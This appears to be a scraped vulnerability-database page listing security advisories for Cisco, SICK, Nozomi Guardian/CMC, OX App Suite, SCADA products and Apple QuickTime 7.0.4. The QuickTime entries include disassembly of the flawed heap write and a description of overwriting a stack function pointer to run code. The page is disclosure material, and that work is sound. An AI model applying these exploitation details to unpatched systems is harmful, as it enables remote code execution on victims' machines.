cisco-sa-spaces-conn-privesc-kgd2ccdu Cisco Spaces Connector Privilege Escalation Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-ece-xss-cbtkteyc Cisco Enterprise Chat and Email Stored Cross-Site Scripting Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-cucm-ssh-m4ubdpe7 Cisco Unified Communications Manager Static SSH Credentials Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-broadworks-xss-o696ymra Cisco BroadWorks Application Delivery Platform Cross-Site Scripting Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-ise-stored-xss-yff54m73 Cisco Identity Services Stored Cross-Site Scripting Vulnerability 2025-05-21T16:00:00+00:00 2025-06-30T15:08:59+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
sca-2023-0005 Vulnerabilities in SICK EventCam App 2023-06-19T11:00:00.000Z 2023-06-19T11:00:00.000Z
SCA-2023-0005 Vulnerabilities in SICK EventCam App 2023-06-19T11:00:00.000Z 2023-06-19T11:00:00.000Z
sca-2023-0004 Vulnerabilities in SICK FTMg 2023-05-11T13:00:00.000Z 2023-05-11T13:00:00.000Z
SCA-2023-0004 Vulnerabilities in SICK FTMg 2023-05-11T13:00:00.000Z 2023-05-11T13:00:00.000Z
sca-2023-0003 Vulnerability in SICK Flexi Soft and Flexi Classic Gateways 2023-05-03T13:00:00.000Z 2023-05-03T13:00:00.000Z
SCA-2023-0003 Vulnerability in SICK Flexi Soft and Flexi Classic Gateways 2023-05-03T13:00:00.000Z 2023-05-03T13:00:00.000Z
sca-2023-0002 Use of Telnet in multiple SICK Flexi Soft and Flexi Classic Gateways 2023-04-11T10:00:00.000Z 2023-04-11T10:00:00.000Z
SCA-2023-0002 Use of Telnet in multiple SICK Flexi Soft and Flexi Classic Gateways 2023-04-11T10:00:00.000Z 2023-04-11T10:00:00.000Z
sca-2023-0001 Bootloader mode vulnerability in Flexi Soft Gateways v3 2023-02-20T14:00:00.000Z 2023-02-20T14:00:00.000Z
SCA-2023-0001 Bootloader mode vulnerability in Flexi Soft Gateways v3 2023-02-20T14:00:00.000Z 2023-02-20T14:00:00.000Z
sca-2022-0015 Use of a Broken or Risky Cryptographic Algorithm in SICK RFU6xx RADIO FREQUEN. SENSOR 2022-12-08T16:00:00.000Z 2022-12-08T16:00:00.000Z
SCA-2022-0015 Use of a Broken or Risky Cryptographic Algorithm in SICK RFU6xx RADIO FREQUEN. SENSOR 2022-12-08T16:00:00.000Z 2022-12-08T16:00:00.000Z
sca-2022-0013 Password recovery vulnerability affects multiple SICK SIMs 2022-10-21T13:00:00.000Z 2022-11-04T14:00:00.000Z
SCA-2022-0013 Password recovery vulnerability affects multiple SICK SIMs 2022-10-21T13:00:00.000Z 2022-11-04T14:00:00.000Z
sca-2022-0014 SICK FlexiCompact affected by Denial of Service vulnerability 2022-10-31T11:00:00.000Z 2022-10-31T11:00:00.000Z
SCA-2022-0014 SICK FlexiCompact affected by Denial of Service vulnerability 2022-10-31T11:00:00.000Z 2022-10-31T11:00:00.000Z
sca-2022-0012 OpenSSL vulnerability affects multiple SICK SIMs 2022-08-08T13:00:00.000Z 2022-08-03T13:00:00.000Z
SCA-2022-0012 OpenSSL vulnerability affects multiple SICK SIMs 2022-08-08T13:00:00.000Z 2022-08-03T13:00:00.000Z
sca-2022-0010 Vulnerability in SICK Flexi Soft Designer & Safety Designer 2022-05-16T10:00:00.000Z 2022-07-19T10:00:00.000Z
SCA-2022-0010 Vulnerability in SICK Flexi Soft Designer & Safety Designer 2022-05-16T10:00:00.000Z 2022-07-19T10:00:00.000Z
sca-2022-0011 Vulnerabilities in SICK Package Analytics 2022-06-08T15:00:00.000Z 2022-06-08T15:00:00.000Z
SCA-2022-0011 Vulnerabilities in SICK Package Analytics 2022-06-08T15:00:00.000Z 2022-06-08T15:00:00.000Z
sca-2022-0009 Vulnerability in SICK Flexi Soft PROFINET IO Gateway FX0-GPNT and SICK microScan3 PROFINET 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
sca-2022-0008 Vulnerability in SICK Gateways for Flexi Soft, Flexi Compact, SICK EFI Gateway UE4740, SICK microScan3 and outdoorScan3 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
SCA-2022-0009 Vulnerability in SICK Flexi Soft PROFINET IO Gateway FX0-GPNT and SICK microScan3 PROFINET 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
SCA-2022-0008 Vulnerability in SICK Gateways for Flexi Soft, Flexi Compact, SICK EFI Gateway UE4740, SICK microScan3 and outdoorScan3 2022-04-29T15:00:00.000Z 2022-04-29T15:00:00.000Z
sca-2022-0007 Vulnerabilities in SICK MARSIC300 2022-04-21T15:00:00.000Z 2022-04-21T15:00:00.000Z
SCA-2022-0007 Vulnerabilities in SICK MARSIC300 2022-04-21T15:00:00.000Z 2022-04-21T15:00:00.000Z
sca-2022-0006 Vulnerability in SICK MSC800 2022-04-11T15:00:00.000Z 2022-04-11T15:00:00.000Z
sca-2022-0005 Vulnerability in SICK Overall Equipment Effectiveness (OEE) 2022-04-11T15:00:00.000Z 2022-04-11T15:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
nn-2023:10-01 DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022_2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022_2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2024:2-01 Incorrect authorization for Reports configuration in Guardian/CMC before 24.2.0 2024-09-11T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2024:1-01 DoS on IDS parsing of malformed Radius packets in Guardian before 23.4.1 2024-04-10T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:9-01 Authenticated SQL Injection on Query functionality in Guardian/CMC before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:8-01 Session Fixation in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:7-01 DoS via SAML configuration in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:6-01 Partial DoS on Reports section due to null report name in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:4-01 Stored Cross-Site Scripting (XSS) in Threat Intelligence rules in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:3-01 Authenticated Blind SQL Injection on alerts count in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:2-01 Authenticated Blind SQL Injection on sorting in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:17-01 Information disclosure via audit records for OpenAPI requests in Guardian/CMC before 23.4.1 2024-04-10T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:15-01 Sensitive data exfiltration via unsafe permissions on Windows systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:12-01 Check Point IoT integration: WebSocket returns assets data without authentication in Guardian/CMC before 23.3.0 2024-01-15T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:11-01 SQL Injection on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2023:10-01 DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 2023-09-18T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
NN-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 2022-02-14T11:00:00.000Z 2024-09-19T11:00:00.000Z
nn-2023_5-01 Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_16-01 Path traversal via 'zip slip' in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_14-01 Unsafe temporary data privileges on Unix systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_13-01 Missing authentication for local web interface in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023_1-01 Authenticated SQL Injection on Alerts in Guardian/CMC before 22.5.2 2023-05-03T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:5-01 Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 2023-08-09T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:16-01 Path traversal via 'zip slip' in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:14-01 Unsafe temporary data privileges on Unix systems in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
nn-2023:13-01 Missing authentication for local web interface in Arc before v1.6.0 2024-05-15T11:00:00.000Z 2024-05-20T11:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
OXAS-ADV-2023-0003 OX App Suite Security Advisory OXAS-ADV-2023-0003 2023-05-02T00:00:00+02:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2023-0002 OX App Suite Security Advisory OXAS-ADV-2023-0002 2023-03-20T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2023-0001 OX App Suite Security Advisory OXAS-ADV-2023-0001 2023-02-06T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2022-0002 OX App Suite Security Advisory OXAS-ADV-2022-0002 2022-11-02T00:00:00+01:00 2024-01-22T00:00:00+00:00
OXAS-ADV-2022-0001 OX App Suite Security Advisory OXAS-ADV-2022-0001 2022-08-10T00:00:00+02:00 2024-01-22T00:00:00+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
var-201801-0152 An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3
var-202004-0077 There are multiple ways an unauthenticated attacker could perform SQL injection on WebAccess/NMS (versions prior to 3.0.2) to gain access to sensitive information. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/NMS. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the DeviceData/Performance endpoint. When parsing the mac parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Advantech WebAccess/NMS is a set of Web browser-based Network Management System (NMS) software package developed by China Taiwan Advantech Corporation. There is a SQL injection vulnerability in Advantech WebAccess/NMS versions earlier than 3.0.2
var-202411-1369 A parameter within a command does not properly validate input within myPRO Manager which could be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes
var-202411-1372 The web application uses a weak authentication mechanism to verify that a request is coming from an authenticated and authorized resource. mySCADA myPRO is a professional HMI/SCADA system designed for visualization and control of industrial processes. mySCADA myPRO Manager has an authorization vulnerability that allows attackers to submit special requests and access resources without authorization
var-202411-1370 An OS Command Injection vulnerability exists within myPRO Manager. A parameter within a command can be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes
var-202411-1371 The administrative interface listens by default on all interfaces on a TCP port and does not require authentication when being accessed. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes. mySCADA myPRO Manager has an access control error vulnerability that allows attackers to submit special requests and gain unauthorized access to resources
var-202411-1373 The back-end does not sufficiently verify the user-controlled filename parameter which makes it possible for an attacker to perform a path traversal attack and retrieve arbitrary files from the file system. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes. mySCADA myPRO Manager has a directory traversal vulnerability that an attacker can exploit to submit special requests to view system file contents in the context of the application and obtain sensitive information
var-200512-0300 Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a GIF image file with a crafted Netscape Navigator Application Extension Block that modifies the heap in the Picture Modifier block. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote heap-based overflow vulnerability. This issue presents itself when the application processes a specially crafted GIF image file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. This flaw has proven to allow for reliable control of data on the heap chunk and can be exploited via a web site by using ActiveX controls. The heap can be overwritten in the Picture Modifier block. The block size calculate code such as: .text:66A339CC mov ax, [esi+0Ch] .text:66A339D0 xor ecx, ecx .text:66A339D2 mov [esp+34h+var_28], ecx .text:66A339D6 mov [esp+34h+var_24], ecx .text:66A339DA mov [esp+34h+var_20], ecx .text:66A339DE mov [esp+34h+var_1C], ecx .text:66A339E2 mov word ptr [esp+34h+var_10], cx .text:66A339E7 mov [esp+34h+arg_4], eax .text:66A339EB movsx eax, ax .text:66A339EE mov word ptr [esp+34h+var_10+2], cx .text:66A339F3 mov cx, [esi+8] .text:66A339F7 movsx edx, cx .text:66A339FA sub eax, edx .text:66A339FC movsx edx, word ptr [esi+6] .text:66A33A00 add eax, 3Eh .text:66A33A03 push edi .text:66A33A04 movsx edi, word ptr [esi+0Ah] .text:66A33A08 sar eax, 3 .text:66A33A0B lea ebx, [esi+6] .text:66A33A0E and eax, 0FFFFFFFCh .text:66A33A11 sub edi, edx .text:66A33A13 movsx edx, ax .text:66A33A16 mov [esi+4], ax .text:66A33A1A imul edi, edx The allocate code is : .text:66A33A68 push edi .text:66A33A69 call sub_668B5B30 But when it real process data to this memory, it use real decode data to write this memory but didn\xa1\xaft check this heap size. This is segment of the write code function(sub_66AE0A70): .text:66AE0B18 movsx edx, word ptr [edi+12h] ; default .text:66AE0B1C imul edx, [edi+0Ch] .text:66AE0B20 mov ecx, [edi+4] .text:66AE0B23 inc word ptr [edi+16h] .text:66AE0B27 mov eax, [esp+arg_0] .text:66AE0B2B add edx, ecx .text:66AE0B2D mov [eax], edx .text:66AE0B2F mov eax, [ebp+10h] .text:66AE0B32 test eax, eax .text:66AE0B34 jz short loc_66AE0B62 .text:66AE0B36 mov ax, [ebp+1Ch] .text:66AE0B3A mov edx, [ebp+0Ch] .text:66AE0B3D movzx cx, ah .text:66AE0B41 mov ch, al .text:66AE0B43 mov [edx], cx .text:66AE0B46 movsx eax, word ptr [edi+12h] .text:66AE0B4A imul eax, [ebp+14h] .text:66AE0B4E add eax, [ebp+10h] .text:66AE0B51 mov cx, [ebp+18h] .text:66AE0B55 mov [ebp+0Ch], eax .text:66AE0B58 mov [ebp+1Ah], cx .text:66AE0B5C mov word ptr [ebp+1Ch], 0 Vendor Status: Apple has released a patch for this vulnerability. An attacker can create a qtif file and send it to the user via email, web page, or qtif file with activex and can directy overflow a function pointer immediately used so it can bypass any stack overflow protection in systems such as xp sp2 and 2003 sp1. Technical Details: When Quicktime processes the data field of a qtif format file, it will copy it to the stack by a byte to a byte , but there is no proper checking, so it will cause a stack overflow in memory. And in this stack, there is a function pointer which will be used immediately when it pre byte copies, so we can use it to bypass any stack overflow protection, such in xp sp2 and 2003 sp1. The origin function point value is 0x44332211. We only need to overflow it to : 0x08332211, ensuring it didn't cause a crash before the 0x44 has been overflowed to 0x08. When it overflows to 0x08332211, we can execute code to 0x08332211, and can first use javascript to get this memory and set my code in it. call [esp+138h+arg_4] <- call a function point in the stack, but this point can be overflowed References QuickTime: QuickTime File Format http://developer.apple.com/documentation/QuickTime/QTFF/index.html Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Vendor Status: Apple has released a patch for this vulnerability. The patch is available via the Updates section of the affected applications. This vulnerability has been assigned the CVE identifier CVE-2005-2340. Credit: Discovery: Fang Xing Greetings: Thanks to all the guys at eEye, and especially Karl Lynn's help. Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0643 Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a crafted (1) QuickTime Image File (QTIF), (2) PICT, or (3) JPEG format image with a long data field. Apple's QuickTime is a player for files and streaming media in a variety of different formats. QuickTime is prone to a remote heap-based overflow vulnerability. This issue presents itself when the application processes a specially crafted QTIF (QuickTime Image) file. A successful attack can result in a remote compromise. Apple QuickTime is prone to a buffer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data before copying it to finite-sized process buffers. Unsuccessful exploit attempts will most likely crash the application. This issue affects QuickTime 6.5.2 and 7.0.3; other versions may also be vulnerable. QuickTime 7.0.4 may also be vulnerable, but this has not been confirmed. This issue may have previously been discussed in BID 16202 (Apple QuickTime Multiple Code Execution Vulnerabilities). Quicktime will copy to the stack byte by byte when processing the data field of the qtif format file, but it does not perform the correct check, so it will cause a stack overflow in memory. The original function pointer value is 0x44332211. Just overflow it to 0x08332211 and make sure it doesn't crash before overflowing 0x44 to 0x08, and the code will execute. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0297 Integer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a TIFF image file with modified image height and width (ImageWidth) tags. Apple's QuickTime is a player for files and streaming media in a variety of different formats. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote integer-overflow vulnerability. This issue presents itself when the application processes a specially crafted TIFF file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-03 Apple QuickTime Player ImageWidth Denial of Service Vulnerability Advisory Date : January 12, 2006 Reported Date : November 28, 2005 Vendor : Apple computers Affected Products : Apple QuickTime Player v7.0.3 Severity : Medium Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710 http://docs.info.apple.com/article.html?artnum=303101 http://www.securityfocus.com/bid/16202/info Description : Fortinet Security Research Team (FSRT) has discovered a Denial of Service Vulnerability in the Apple QuickTime Player. This is due to application failure to sanitize the parameter ImageWidth value while parsing TIFF image files. Impact : Denial of Service Solution : Apple Computers has released a security update for this vulnerability, which is available for downloading from Apples's web site under security update. Fortinet Protection: Fortinet is protecting network from this vulnerability with latest IPS update. Acknowledgment : Dejun Meng of Fortinet Security Research team found this vulnerability. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey 